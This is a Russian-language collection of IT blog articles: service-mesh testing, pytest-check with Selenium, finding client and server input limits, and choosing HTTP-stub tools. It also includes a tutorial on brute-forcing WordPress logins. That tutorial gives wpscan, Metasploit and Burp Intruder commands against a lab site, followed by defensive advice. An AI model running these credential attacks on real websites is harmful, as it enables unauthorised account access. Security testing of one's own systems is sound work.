Ещё мы внедрили такую штуку, как service mesh. Service mesh это когда рядом скодом сервиса поднимается sidecar, который проксирует все необходимые запросы. Запрос идет не всам сервис, его сначала получает sidecar, который прокидывает необходимые заголовки, проверяет, роутит маршруты, и передаёт запрос сервису. Cервис передаёт запрос обратно вsidecar, и так дальше поцепочке.


Про service mesh подробно можно узнать издоклада Саши Лукьянченко сDevOpsConf 2019года. Внём Саша рассказывает прото, как разрабатывал решение и как мы кнему пришли.


На основе sidecar мы внедрили OpenTracing. Это технология, которая позволяет полностью отследить запросы отсамого фронта доконечного сервиса и посмотреть, какие были отвалы, сколько шёл запрос.



Это интерфейс Jaeger UI. На скриншоте трейсинг запросов современем выполнения и маршрутом


Также с помощью service mesh мы сделали Graceful Degradation тестирование. Graceful Degradation тестирование это когда мы отключаем какой-то сервис и проверяем, как унас будет работать приложение. Мы смотрим, выдаст ли приложение какую-то ошибку или полностью крашнется. Такого развития событий мы не хотим, но так как микросервисов становится много, количество точек отказа тоже растёт. Такой вид тестирования позволяет проверить поведение всей системы приотказе одного изсервисов.



На скриншоте боевой пример содного изнаших тестов вовремя прохода. Мы отключали сервис услуг и проверяли, что выдадим пользователю читаемое сообщение.


Всё это работает благодаря service mesh утилите Netramesh. Достаточно прописать заголовок X-Route, наш sidecar перехватывает запрос досервиса и перенаправляет куда надо. Вконкретном случаем мы его перенаправляли вникуда, будто бы сервис отвалился. Мы могли сказать ему, чтобы он вернул пятисотую ошибку, либо могли сделать таймаут. Netramesh всё это умеет, единственная проблема, что здесь необходимо черезDevTools-протокол добавлять ковсем запросам необходимый заголовок.


В сухом остатке


Сейчас для тестирования в микросервисной архитектуре мы используем:


  • Карму для E2E-тестов.
  • Методологию Agile Testing.
  • PaaS c Api Gateway.
  • Service mesh, благодаря которому работают OpenTracing и Graceful Degradation тестирование.
Подробнее..

Перевод Неблокирующие ошибки метода assert в Pytest-check

17.12.2020 18:19:07 | Автор: admin

В преддверии старта курса "Python QA Engineer" для будущих студентов и всех интересующихся темой тестирования подготовили перевод полезного материала.

Также приглашаем посмотреть подарочное демо-занятие на тему "Карьера QA".


В сообществе тестировщиков много спорят о том, сколько assert-ов должно быть в одном автоматизированном тесте пользовательского интерфейса. Некоторые считают, что на один тест должен приходиться один assert, то есть каждый тест должен проверять только один элемент. Другие же вполне довольны тем, что их тест проверяет сразу несколько элементов.

Какой бы подход вы ни выбрали, я думаю, можно с уверенностью сказать, что тесты должны оставаться ясными, краткими, читаемыми и, конечно же, их должно быть просто поддерживать. Лично у меня не возникает проблем с несколькими assert-ами в одном тесте, поскольку я фокусируюсь на одной функциональной области.

Например, возьмем форму регистрации:

В рамках тестирования формы регистрации пользователей, я, возможно, захочу протестировать сразу несколько вещей. Может я захочу проверить, что сообщение поздравление с регистрацией отображается корректно, а может проверю, что пользователь будет перенаправлен на страницу входа после прохождения регистрации.

В таком случае я не буду проверять, что пользователь может успешно войти в систему, и оставлю это для другого теста.

Проблема

Проблема встроенного метода assert в Python заключается в том, что он останавливает выполнение теста при первой ошибке. В некоторых сценариях в этом и вправду есть смысл. То есть нет смысла продолжать тест, если часть приложения не работает. Однако бывает и такое, что есть смысл провести все проверки независимо от того, выпадет ли ошибка на одной из них или нет, особенно есть все ваши assert-ы относятся к одной странице в конце теста.

Такой подход мы используем при тестировании веб-сервисов. При проверке тела ответа мы, скорее всего, захотим проверить каждое возвращаемое значение, а затем вывести, какие из них были не такими, как ожидалось, вместо того чтобы останавливать тест при ошибке в первом assert.

Решение: плагин Pytest-check

Pytest-check (от Брайана Оккена) плагин Pytest, который позволяет вам обернуть все assert-ы теста в один результат pass/fail. Например, если у вас есть 3 assert-а и первый из них выдал fail, то Pytest-check продолжит выполнять оставшиеся 2. Затем он сообщит о том, что тест провалился, если одна или несколько проверок придут с результатом fail.

Python OpenSDK TestProject также поддерживает Pytest, поэтому если у вас уже есть тесты pytest на Selenium, их очень легко преобразовать в тесты TestProject. Вы можете узнать больше об этом в моей статье в блоге HowQA, а также ознакомиться с пошаговым руководством по началу работы здесь.

Давайте рассмотрим, как работает плагин Pytest-check.

Тесты Selenium

Для начала нам понадобится тест. Я воспользуюсь страницей регистрации этого приложения: https://docket-test.herokuapp.com/register

import selenium.webdriver as webdriverfrom selenium.webdriver.common.by import Bydef test_register_user():    # Arrange    url = "https://docket-test.herokuapp.com/register"    # set the driver instance    driver = webdriver.Chrome()    # browse to the endpoint    driver.get(url)    # maximise the window    driver.maximize_window()    # Act    # Complete registration form    # enter username value    driver.find_element(By.ID, "username").send_keys("Ryan")    # enter email value    driver.find_element(By.ID, "email").send_keys("Test@email.com")    # enter password value    driver.find_element(By.ID, "password").send_keys("12345")    # enter repeat password value    driver.find_element(By.ID, "password2").send_keys("12345")    # click register button    driver.find_element(By.ID, "submit").click()

У нас есть тест, но нужно написать несколько проверок. Давайте сделаем это с помощью метода assert:

# Assert# confirm registration has been successful# check if congratulations message contains the correct textmessage = driver.find_element(By.XPATH, "/html[1]/body[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[1]").textassert message == "Congratulations, you are now registered"# check user is routed to login pagecurrent_url = driver.current_urlassert current_url == "https://docket-test.herokuapp.com/login"

Если мы их запустим, то все пройдет успешно:

Пока все хорошо, но что случится, если оба assert-а вернутся с результатом fail? Давайте изменим код, чтобы посмотреть, что будет:

# Assert# confirm registration has been successful# check if congratulations message contains the correct textmessage = driver.find_element(By.XPATH, "/html[1]/body[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[1]").textassert message == "Well done, You've Registered"# check user is routed to login pagecurrent_url = driver.current_urlassert current_url == "https://docket-test.herokuapp.com/register"driver.quit()

Итак, мы поменяли сообщение, которое ожидаем увидеть и изменили ожидаемый URL, поэтому, когда мы снова выполним этот тест, он вернется с результатом fail:

Как и ожидалось, тест завершился с ошибкой в assert. Отлично, наш тест выполнил свое предназначение, мы нашли ошибку, ну или, что-то вроде того

Однако из сообщения об ошибке мы видим, что тест упал из-за формулировки сообщения, а URL он даже не проверил. Тест перестает выполняться, как только появляется первый fail, поэтому у нас нет возможности увидеть всю картину. В таком случае нам нужно будет исправить текст ожидаемого сообщения и повторить тест еще раз. Давайте так и сделаем.

Теперь мы поменяли ожидаемое сообщение обратно на Congratulations, you are now registered, и снова можем запустить тест:

Ага! Тест снова упал, на этот раз из-за неправильного URL.

Знаю, что вы думаете о том, как было бы круто, если бы мы поймали обе этих ошибки за один прогон теста. Что ж, вам повезло, в игру вступает Pytest-check.

Pytest-Check

Установка

Мы можем установить pytest-check через pip install pytest-check. После того как мы установили pytest-check, его можно импортировать в наш тест.

import pytest_check as check

Теперь, когда все готово, можно немного подправить наши assert-ы. Отныне мы не будем использовать оператор assert, вместо этого мы будем использовать синтаксис pytest-check следующим образом.

Чтобы проверить сообщение воспользуемся функцией check.equal и добавим туда ожидаемый и фактический текст, например:

check.equal(message, "Congratulations, you are now registered1")

Мы можем сделать то же самое и с проверкой URL-адреса, но сделаем это с помощью другого метода, а именно check.is_in.

check.is_in("login", current_url)

Полный тест выглядит следующим образом:

import selenium.webdriver as webdriverfrom selenium.webdriver.common.by import Byimport pytest_check as checkdef test_register_user():    # Arrange    url = "https://docket-test.herokuapp.com/register"    # set the driver instance    driver = webdriver.Chrome()    # browse to the endpoint    driver.get(url)    # maximise the window    driver.maximize_window()    # Act    # Complete registration form    # enter username value    driver.find_element(By.ID, "username").send_keys("Ryan8")    # enter email value    driver.find_element(By.ID, "email").send_keys("Test@email8.com")    # enter password value    driver.find_element(By.ID, "password").send_keys("12345")    # enter repeat password value    driver.find_element(By.ID, "password2").send_keys("12345")    # click register button    driver.find_element(By.ID, "submit").click()    # Assert    # confirm registration has been successful    # check if congratulations message contains the correct text    message = driver.find_element(By.XPATH, "/html[1]/body[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[1]").text    check.equal(message, "Congratulations, you are now registered")    # check user is routed to login page    current_url = driver.current_url    check.is_in("login", current_url)    driver.quit()

На этом этапе мы можем вернуть все ожидаемые значения в исходное состояние, чтобы тест завершился успешно. Так что давайте так и поступим.

Отлично! Теперь давайте посмотрим, что произойдет, если обе проверки вернут fail. Для начала нужно будет поменять код, чтобы они провалились:

# check if congratulations message contains the correct textmessage = driver.find_element(By.XPATH, "/html[1]/body[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[1]").textcheck.equal(message, "Congratulations, you are now registered!")# check user is routed to login pagecurrent_url = driver.current_urlcheck.is_in("1", current_url)

Запускаем.

Как и в прошлый раз, тест завершился неудачей, как мы и ожидали, но теперь мы видим, что fail вернулся в двух проверках: сначала вывод о том, что содержание сообщения не соответствует ожидаемому, а потом результат проверки URL. Если подойти к вопросу с точки зрения pytest, то можно рассматривать это как один провалившийся тест, но теперь-то мы знаем, что на самом деле несколько проверок вернули fail.

Только если все проверки в тесте будут пройдены успешно, он будет помечен как pass.

Вот такой крутой Pytest-check. Узнать о нем больше вы можете в документации.


- Узнать подробнее о курсе "Python QA Engineer".

- Посмотреть демо-занятие на тему "Карьера QA".

ЗАБРАТЬ СКИДКУ

Подробнее..

Различные методы брутфорс атак WordPress

17.11.2020 14:16:28 | Автор: admin


В этой статье вы узнаете о том, как взламывать учетные данные сайтов на WordPress с помощью различных брутфорс атак.


Содержание:


  • Предварительные требования
  • WPscan
  • Metasploit
  • Люкс Burp
  • Как обезопасить сайт от брутфорса?

Предварительные требования


  • Сайт на WordPress. Здесь мы будем использовать собственную лабораторию для пентеста, о созданию которой был посвящен наш предыдущий пост.
  • Kali Linux (WPscan). Более подробно о WPScan и его возможностях мы уже писали, а вместо Kali Linux можно использовать любую другую из ОС для белого хакинга.
  • Burp Suite (Intruder). Более подробно о данном инструменте можно узнать здесь.

WPscan


WPscan это фреймворк, который используется в качестве сканера уязвимостей методом черного ящика. WPscan предустановлен в большинстве дистрибутивов Linux, ориентированных на безопасность, а также доступен в виде подключаемого модуля.


Здесь мы будем использовать WordPress, размещенный на локальном хосте.



Во время перебора можно использовать:


  • Собственные общие списки логинов и паролей
  • Базы логинов и паролей, которые уже есть в Kali Linux

В данном случая был использован файл паролей rockyou.txt, который предоставляется со стандартной Kali Linux и содержит 14 341 564 уникальных пароля.


wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

  • URL это параметр URL-адреса, за которым следует URL-адрес веб-сайта WordPress для сканирования.
  • -U будет перебирать только указанные имена пользователей, в нашем случае это users.txt
  • -P перебор паролей из предоставленного списка rockyou.txt

Продолжительность сканирования во многом зависит от размера файла имен и паролей. В нашем случае мы сопоставляем большое количество имен с еще большим количеством паролей, что может сказаться на производительности сайта.



Атака прошла успешно и на экране видим совпадение логина admin и пароля flower.



Metasploit


Metasploit также идет предустановленным в Kali Linux. Первым делом нужно попасть в консоль Metasploit, а затем запустить модуль WordPress. Этот модуль msf будет запускать проверку логинов и паролей. Сначала будут проверены имена пользователей, а затем с ними будут сопоставлены пароли.


msf > use auxiliary/scanner/http/wordpress_login_enummsf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100msf auxiliary(wordpress_login_enum) > set targeturi /wordpressmsf auxiliary(wordpress_login_enum) > set user_file user.txtmsf auxiliary(wordpress_login_enum) > set pass_file pass.txtmsf auxiliary(wordpress_login_enum) > exploit

Как и в предыдущем случае атака прошла успешно, в результате которой были полчены:


  • Логин: admin
  • Пароль: flower


Burp Suite


Можно опять использовать предустановленную в Kali версию или скачать Burp Suite Community Edition. Далее запускаем Burp Suite и открываем страницу входа в WordPress. Затем включаем вкладку перехвата в Burp Proxy. Далее вводим любое имя пользователя и пароль по вашему выбору для входа на сайт WordPress. Это перехватит ответ текущего запроса.



Посмотрите на изображение ниже и обратите внимание на последнюю строку перехваченного сообщения, где указаны учетные данные для входа как raj: raj, которые были использованы для входа в систему. Теперь нужно отправить эти данные в Intruder, что можно сделать с помощью сочетания клавиш ctrl + I или выбрав опцию Send to Intrude в контекстном меню.



Теперь открываем вкладку Intruder и видим запрос базового шаблона, который был сюда отправлен. Выбираем Positions, где по умолчанию активно несколько позиций, которые помечены символами . Все, что находится между двумя символами , заменяется полезной нагрузкой. Но сейчас все они нам не нужны, поэтому нажмите кнопку очистки в правом нижнем углу окна редактора.


Выбираем позиции, как показано на скриншоте, а также нажимаем кнопку add справа. Это настроит выбранные позиции как точки вставки полезной нагрузки. Теперь выбираем тип атаки.
Поскольку у нас есть 2 позиции полезной нагрузки, то выберем cluster bomb. Этот метод брутфорса очень эффективен в нашем случае. Он помещает первую полезную нагрузку в первую позицию, а вторую полезную нагрузку во вторую позицию. Но когда он проходит через наборы полезных данных, то пробует все комбинации. Например, когда есть 1000 логинов и 1000 паролей, тогда будет выполнено 1 000 000 запросов.


Теперь нажимаем кнопку start attack.



На вкладке payloads в раскрывающемся списке можно увидеть числа 1 и 2. Выберите 1 для первой позиции полезной нагрузки и установите для него простой список. В простой список можно вручную добавлять элементы с помощью кнопки add , а также вставлять список с помощью буфера обмена или загрузки из файла.



Аналогично ставим цифру 2 для другой позиции и выбираем для нее Runtime file, что полезно при работе с большими списками. Указываем путь к любому файлу-словарю, который содержит только список паролей. Нажимаем start attack.



Обратив внимание на статус и длину полезных данных, где видно, что учетные данные admin и flower имеют статус 302 и длину 1203, что отличается от всех других комбинаций. Это значит, что логин: admin и пароль flower именно то, что мы хотели получить.


Как избежать брутфорса?


Конечно, этих атак можно избежать, используя следующие меры предосторожности:


Длина пароля


Оптимальная длина пароля должна составлять 8-16 символов. Важно избегать использования наиболее распространенных паролей и часто их менять.


Сложность пароля


Надежный пароль должен состоять из:


  • Символов верхнего регистра (A)
  • Символов нижнего регистра (a)
  • Цифр
  • Специальных символов

Надежный пароль не гарантирует 100%, но по крайней мере позволяет значительно увеличить время взлома.


Ограничение попыток входа в систему


Ограничение попыток входа позволяет сильно усложнить процесс брутфорса.


Например, после трех неудачных попыток входа в систему данный IP-адрес должен быть заблокирован на какое-то время, чтобы пресечь дальнейшие попытки входа в систему.


Двухфакторная аутентификация


Следующий способ защиты от брутфорса двухфакторная аутентификация или 2FA. Обычно в качестве второго подтверждения используют телефон или почту.


Captcha


Установить капчу на WordPress довольно просто, например, с помощью многочисленных плагинов. Капча поможет предотвратить ботами выполнение автоматических скриптов для входа в вашу учетную запись.


Плагин брандмауэра WordPress


Даже неудачные брутфорс атаки могут замедлить работу сайта или полностью вывести сервер из строя. Вот почему так важно их заблокировать, для чего и понадобиться брандмауэр, который отфильтровывает плохой трафик и блокирует ему доступ к вашему сайту.


Подключить СDN сервис


CDN (Content Delivery Network) сеть доставки и дистрибуции контента, более подробно о которой можно узнать здесь. Для нас главное, что CDN обеспечивают надежную защиту от брутфорса.


Топ 6 CDN c бесплатными решениями для WordPress:


  • Cloudflare
  • Jetpack
  • Swarmify
  • Amazon CloudFront (1 год бесплатного доступа)
  • Incapsula
  • JS Deliver

Установить и настроить бэкап плагин


На крайний случай будет полезно установить и настроить бэкап плагин. По крайней мере в случае удачной атаки будет возможность восстановить данные. Есть несколько отличных плагинов для WordPress, которые позволяют делать резервные копии автоматически.


Отключение просмотра каталогов и автоматических обновлений


Еще один способ снизить риск брутфорс атаки для сайта на WordPress.

Подробнее..

Как найти границы на клиенте и сервере

10.07.2020 16:05:35 | Автор: admin
Как обычно тестировщик ищет границы в поле? Если в ТЗ есть ограничения, то тестирует их. А если их нет? С нижней границей все понятно это пустое поле. А как найти верхнюю? Вставляем большую строку и смотрим, сколько символов сохранится. И всё

Но если у нас клиент-серверное приложение, то границы разработчик может поставить на каждом звене!



И тестировщик должен проверить их все. Почему? Потому что когда мы одно значение дублируем несколько раз в разных местах, велик шанс ошибиться. При этом границу на клиенте очень легко снять. Что будет, если пользователь обойдет границу на клиенте? Не сломает ли он нам сайт большой строкой?

В этой статье я расскажу, как искать границы для поля в веб-формочке. Возьмем для примера форму редактирования пользователя в бесплатной системе Users.


Содержание





1. Границы на клиенте



Maxlength


Ограничение по длине строки на клиенте прописывают в параметре maxlength поля.
Чтобы его найти, вам нужно:

  1. Открыть панель разработчика нажать f12.
  2. Нажать самую левую кнопку и навести курсор на элемент на странице.

Вуаля! Для поля имя1 у нас стоит ограничение в 10 символов.



См также:
Что тестировщику надо знать про панель разработчика

Проверяем ограничение пытаемся ввести больше 10 символов. Но вводится ровно 10, больше не дает. Печатаешь на клавиатуре, а система просто не реагирует:



Это граница! Граница на клиенте, мы ее нашли, ура :)

Но это не значит, что за сим надо успокоиться. Границы на клиенте снимаются очень легко, поэтому важно поставить проверку на сервере тоже. А нам, как тестировщикам проверить, есть ли защита на сервере.

Поэтому мы границу снимаем. Для этого прямо в DOM-модели (это структура нашей страницы, по которой мы искали инспектором) исправляем строчку с параметром. Да, оно меняется. Дважды кликаем на параметр maxlength и меняем значение. Вуаля! Теперь можно ввести намного больше символов, чем раньше!



Обратите внимание символы можно вводить сразу, без обновления страницы. Более того, если вы обновите страницу, то ваши изменения пропадут. Ведь при обновлении страницы HTML-код запрашивается с сервера, а там ваших изменений нет. Так что балуйтесь сколько хотите, не бойтесь что-то сломать =)

В принципе для проверки границы на сервере можно сначала поменять значение с 10 на 1000. Но если вы хотите поискать именно технологическую границу, то лучше выбрать значение побольше. Или вовсе удалить параметр. Выделить и удалить!



Найдя элемент в инспекторе, вы можете увидеть и другие цифры, кроме maxlength. Например, data-max или data-jsmax, или какие-то еще. Можно ли считать их границами? Только если вы умеете читать код и найдете в нем их значение.

Разработчик может написать HTML так, как ему нравится. Он может указать любые атрибуты для тега, с любыми названиями. Совершенно не факт, что это будет какая-то граница.

Это может быть легаси-элемент, то есть он вообще никак не обрабатывается и не используется. Просто забыли удалить. Или он может использоваться для CSS если у нас такое-то значение, то пишем белым цветом, если сякое, то черным.

А вот maxlength стандартный атрибут. И если он установлен, то он ограничивает пользователя пользователь не может ввести в input-поле больше символов, чем указано в maxlength. Поэтому это граница.

А всё остальное надо проверять, ограничивает нас как-то, или нет. Как проверять? Включить консоль!


Ошибки в консоли JS


При тестировании веба нужно обязательно включить консоль:

F12 Консоль



И следить за ней краем глаза. А иначе можно пропустить ошибку!

Бывает, что система никак не проявляет проблему в самом интерфейсе ничего не меняется. Вводим данные в поля? Ничего красным не подсвечивается, но в консоли появляется ошибка. Тыкаем на кнопку? Загружается отчет, вроде всё нормально, но в консоли ошибка.

Если в консоли появляется ошибка это ненормально. И с этим надо разобраться. Ошибка может нести в себе отложенный эффект, а может, вы просто не заметили ее проявление. Например, при загрузке отчета одна ячейка посчиталась неправильно, потому что не смогла подгрузить данные, о чем и написала в консоль. При этом отчет загрузился и вроде как данные внутри есть, выглядит нормально. Но ошибка есть.

Итак, открываем консоль и начинаем заполнять поля пользователя. Вот, например, вбиваем данные в поле хомячок. Сняли границу на клиенте (maxlength) и печатаем. И тут замечаем, что в консоли появилась ошибка!



Оказывается, разработчик поставил дополнительную защиту на поле. Помимо maxlength прописал ограничение в коде. Возможно, это сообщение должно было выводиться в интерфейсе, чтобы пользователь видел, что что-то делает не так, но разработчик напутал и выводит в консоль.

В случае с Users разработчик ничего не путал, у него по ТЗ стояло выводить такое сообщение в консоль =)) Потому что наша задача была просто показать ситуацию, когда в интерфейсе все хорошо, а в консоли есть ошибки.

Но где граница? Судя по сообщению об ошибке Maximum 10. Значит, граница 10 символов. Да? Ни фига! Граница это когда у нас до нее поведение системы одно (ошибок нет), а после другое.



Помните, что сообщения об ошибках это тоже код. Который тоже надо тестировать. Разработчик может ошибиться и написать сообщение неправильно. Поэтому давайте проверим, где реакция системы на ввод изменится.

Начинаем вводить символы медленно, следя за консолью:

  • 10 нет ошибки
  • 11 нет ошибки
  • 12 ошибочка!

Ага, значит, граница по JS у нас не 10, а 11 символов! До 11 все хорошо, а после сыпятся ошибки. А сообщение об ошибке, как оказалось, врет. Так что доверяй, но проверяй =)

Это тоже граница на клиенте. Таким образом, у поля хомячок есть две границы на клиенте:

  1. maxlength = 10 символов
  2. js = 11 символов

А вот в поле имя 1 одна граница на клиенте: maxlength = 10 символов. Ошибок в консоли при вводе символов там нет.


Изменение поведения


Хочется еще раз подчеркнуть, что граница это не только когда в консоли ошибки сыпятся. Это может быть и видимое пользователю изменение поведения системы.

Например, аналитик решил, что имя должно быть не короче 3 букв. Поэтому, когда пользователь ставит курсор на поле с именем, вокруг него появляется красная рамка и снизу подпись Имя не должно быть короче 3 букв. Ввел 1-2 буквы ничего не изменилось. Ввел 3 рамка с подписью исчезли. Или рамка поменяла цвет с красной на зеленую.


В Users таких границ нет, поэтому я просто взяла картинку из интернета =)

Это нижняя граница, установленная по ТЗ. И сделанная на клиенте. Аналогично можно оформить и верхнюю границу ввел больше 10 символов? Вокруг поля появляется красная рамочка. Значит, это тоже граница.


Итого по границе на клиенте


Граница на клиенте это значение атрибута maxlength в поле ввода символов. Больше этого значения ввести нельзя, система просто не даст этого сделать.


Это ограничение легко снять через панель разработчика Как снять maxlength со всех полей формы.

Это может быть не единственной границей. Границу разработчик может также прописать в код. Чтобы ее найти, следим за системой. Если она меняет своё поведение мы нашли границу:

  • Вводишь символы и у поля появляется красная рамка и подпись слишком большая длина граница! Помимо maxlength разработчик добавил проверку
  • Вводишь символы и появляются ошибки в консоли тоже граница!



2. Граница на сервере


Граница на сервере это сколько символов мы можем сохранить в системе. По идее, она должна совпадать с границей на клиенте =) Но всякое бывает. Когда нам надо одно значение прописать в разных местах, всегда есть шанс ошибиться.

Так как границу на клиенте легко обойти, нам во время тестирования обязательно нужно это сделать. И посмотреть, есть ли границы на сервере. И если да, то какие.

Давайте снимем в Users ограничение maxlength = 10 с поля имя1, введем туда длинную строку и попробуем сохранить. При сохранении система выдает ошибку:



Вот это граница на сервере. Клиент передал серверу запрос, тот его отработал и вернул фидбек.

Осталось понять, где граница то. Конечно, в этом нам помогает сообщение об ошибке: actual: 37, maximum: 9. По идее, на сервере стоит ограничение в 9 символов. Но мы то с вами уже знаем, что это надо проверить!

Проверяем:

  • Вводим 9 символов, сохраняем сохранилось!
  • Вводим 10 символов сохранилось.
  • Вводим 11 символов при сохранении ошибка.

Значит, реально граница 10 символов на сервере. Совпадает с границей на клиенте, это хорошо.

А теперь давайте проверим поле хомячок.



Ага, тут граница другая. В сообщении 19, но мы помним, что оно врет. Проверяем граница 20 символов. А на клиенте то 10 было, в maxlength! Значит, границы отличаются.

В целом, это повод поставить баг, потому что границы должны совпадать. Правда, его могут закрыть как won`t fix, ну сохранил чуть больше, и ладно. Намного хуже, когда разработчик ошибается в другую сторону:

  • Сервер 10 символов
  • Клиент 20 символов

В итоге на клиенте ввести 20 символов можно, а при сохранении огребаем ошибку. Нехорошо!

После проверки верхней границы в адекватных пределах стоит поискать технологическую границу. Сняли ограничение на клиенте, ввели несколько миллионов символов. Это очень легко сделать. Берем любой инструмент из статьи Как сгенерить большую строку, инструменты, подставляем, сохраняем.

Если система выдала ровно такую же ошибку, как и раньше, то ок. Значит, технологической границы нет. Ну и славненько. Главное, что мы попытались поискать =)

Зачем это нужно делать? Потому что система может не просто сохранять данные, а как-то их предварительно обрабатывать. Проверять по условию, или как-то еще. И тогда небольшую строку система осилит, а огромную уже нет.

См также:
Технологическая граница в подсказках по ЮЛ если ввести 1000 символов, ничего не случится, а вот если войну и мир


3. Граница в БД


Граница в БД это сколько символов влезет в базу. Создавая базу, мы указываем размерность каждого поля. Вот пример из folks:

  • surname VARCHAR(255)
  • name VARCHAR(100)
  • city VARCHAR(20)

Это значит, что в поле фамилия мы можем сохранить 255 символов, в имя 100, а в город 20. При попытке запихать туда строку большего размера система выдаст ошибку из серии ORA-06502: PL/SQL: numeric or value error: character string buffer too small.

Важно понимать, что мы увидим границу БД только в том случае, если нет границы на сервере. Путь поиска границы не меняется:

  1. Сняли границу на клиенте
  2. Запихали большую строку
  3. Пытаемся сохранить



Так вот, если разработчик поставил границу на сервере, то мы увидим обработанную ошибку красиво (или не очень) отрисованную, с вполне осмысленным текстом. Потому что его писал разработчик и он про наше приложение.



А если границы на сервере нет, то мы увидим необработанную ошибку. Это может быть ошибка вида ORA-06502:.., или стректрейс кода куча непонятных простому пользователю символов.



Конечно, может быть и другая ситуация когда на сервере граница больше, чем в БД:

  • Сервер 20 символов
  • БД 10 символов

И тогда получается забавная ситуация. Да, от вставки войны и мир мы защитились. Вводишь 25 символов или 25 млн символов получаешь осмысленную ошибку. А вот если вводишь 11 символов, то ой! Большой и страшный стектрейс во весь экран.

Поэтому при тестировании черного ящика не стремитесь сразу фигачить МНОГО символов. Для начала попробуйте осмысленное значение. А если вы сняли ограничение на клиенте, стоит попробовать пограничное значение к нему. Было maxlength = 10? Попробуйте 11 символов. А потом уже 55, а потом уже 55 млн.


Итого: чек-лист поиска границ


В клиент-серверном приложении границы могут быть в каждом звене. И в идеале они должны совпадать. Но мы должны это проверить!



Границ может быть больше. На клиенте разработчик может навесить сразу несколько границ: и maxlength, и изменение поведения при пересечении некой черты (js-код).

Границ может быть меньше. Из серии да не будет пользователь глупости вводить, и в итоге на клиенте и сервере вообще без ограничений. Но размерность полей в БД остается.

Как искать границы:

1. Проверить, есть ли на поле maxlength это самая очевидная граница на клиенте.

2. Снять это ограничение.

3. Включить консоль JS (а куда же без нее?).

4. Начать вбивать символы, около 50-100 в каждое поле. Следить за:

  • консолью не появились ли ошибки?
  • поведением самой системы не изменилось ли поведение?

Если поведение системы меняется, или появляются ошибки в консоли это также граница на клиенте. Но другая, в js-коде.

5. Попробовать сохранить эти 50-100 символов. Так мы ищем границу на сервере и / или в базе.

Если система выдаст осмысленную ошибку вида Слишком длинное поле это ошибка на сервере. Если ошибка необработанная скорее всего, на сервере границы нет, и вы нашли границу в базе.

Найти точное значение границы можно с помощью метода бисекционного деления. Ну или с помощью логов / текста сообщения об ошибке.

6. Ввести 100 млн символов (инструменты) и попробовать их сохранить для поиска технологической границы.

В процессе статьи мы проверили по этому чек-листу в системе Users поля имя1 и хомячок. Результаты:

Поле имя1:

  • maxlength 10 символов
  • сервер 10 символов

Поле хомячок:

  • maxlength 10 символов
  • js 11 символов
  • сервер 20 символов

Для имени все хорошо, границы совпадают. А вот при исследовании хомячка мы обнаружили сразу 2 проблемы разница границ клиент-сервер (10 и 20), а также ошибка в консоли. Можно ставить баги! =)
Подробнее..

Http-stubs поиск идеального инструмента

05.10.2020 14:22:06 | Автор: admin

Http-stubs поиск идеального инструмента



Всем хорошего дня, я backend-разработчик компании Uma.Tech. Сегодня я хочу рассказать, как однажды нашему отделу разработки поступила задача от отдела тестирования: локально развернуть сервис создания заглушек для http-запросов. Если интересно, как проходил поиск, сравнение разных opensource и не только инструментов, до чего мы в итоге докатились и причём тут попугай на картинке прошу под кат.


Оговоримся сразу: мы не рекламируем ни один из приведенных ниже инструментов, а просто делимся своим опытом.


TLDR: Если нет желания читать много букв, в конце общая сводная таблица по всем инструментам.


Начало


Сначала расскажу немного о проекте, для понимания с какими проблемами сталкиваются наши инженеры из отдела тестирования.


В нашем подразделении Uma.Tech мы занимается всем, что связано с видеоконтентом. На нашей платформе работают проекты холдинга Газпром-Медиа. Если вы используете приложение PREMIER, смотрите на сайте телеканал 2x2 или, предположим, предпочитаете онлайн-трансляции дерби Спартак-ЦСКА с сайта или в приложении Матч ТВ значит, вы тоже пользователь нашей видеоплатформы.


Платформа в нашем понимании это набор сервисов. Каждый сервис имеет свою архитектуру и охватывает определенный сектор работы с контентом, например, видеоотдача, работа с покупками и метаинформацией видео, конвертация, и т.д.


Подробнее, если интересно, расскажем в отдельных статьях.


Основной язык разработки для нашей команды Python разных версий. Все сервисы общаются между собой по разным каналам передачи информации, как синхронным, так и асинхронным. Для взаимодействия в числе прочих используются webhook'и и обычные REST API.


Отдел тестирования в зависимости от задачи проверяет как платформу в целом, так и отдельные сервисы. Большое количество наших сервисов взаимодействует с внешними системами и проектами, которые поддерживаются другими командами компании. Они используют интерфейсы платформы для получения данных. Разработка часто ведётся параллельно: мы только разрабатываем API, а наши коллеги могут уже её интегрировать себе по документации. Поэтому тестировщикам не редко приходится проверять выполненную разработчиками задачу на одном сервисе, который обращается к другому, а другой еще не готов. Или требуется подменить его ответ на что-то своё в рамках тест-кейса. Именно для покрытия таких целей нам понадобился отдельный инструмент.


Исторически тестировщики пользовались бесплатным публичным сервисом webhook.site. Однако, он имеет некоторые ограничения, кроме того, он находится вне контура компании, поэтому его использование небезопасно, так как существует вероятность утечки данных во время тестирования. Поэтому нам нужен инструмент, развернутый внутри контура, причем достаточно функциональный по возможностям приближенный к webhook.site и гибкий, с возможность создания кастомных путей.


В поисках идеала


Оговорюсь сразу, я тут перечислю не все инструменты, из которых мы выбирали, наверняка, какие-то просто не попались на глаза. Буду благодарен, если в комментариях вы поделитесь другими подобными сервисами. Я обязательно их проверю и добавлю интересные в статью.


Наличие необходимых функций было далеко не последним требованием. При выборе приходилось учитывать много факторов:


  • Поддерживается ли инструмент на данный момент?
  • Насколько просто его развернуть на серверах компании?
  • Удобно ли дорабатывать под свои нужды?
  • Есть ли у продукта лицензия, разрешающая свободное коммерческое применение и
    существуют ли какие-то ограничения на использование и модификацию?

Напомню, наша команда пишет преимущественно на Python. Это основной язык, в котором у нас больше всего экспертизы. Поэтому удобный для разработки язык тоже является большим преимуществом для искомого нами инструмента.


webhook.site


Начнем с того, что использовали исторически webhook.site


Ссылка: https://github.com/fredsted/webhook.site


Это хороший и продуманный сервис, имеет достаточно функций для тестирования: здесь http-заглушки, фейковые email адреса и т.д.


У сервиса есть платная версия, расширяющая и без того небедный набор возможностей, которые легко можно найти в документации. Важный фактор в плюс: у webhook.site открыт исходный код на GitHub и распространяется он по лицензии MIT.


Основная страница webhook.site выглядит так:



Из минусов, которые оказались значимыми для нас: непрофильные языки для нашей команды PHP для backend и javascript для frontend.


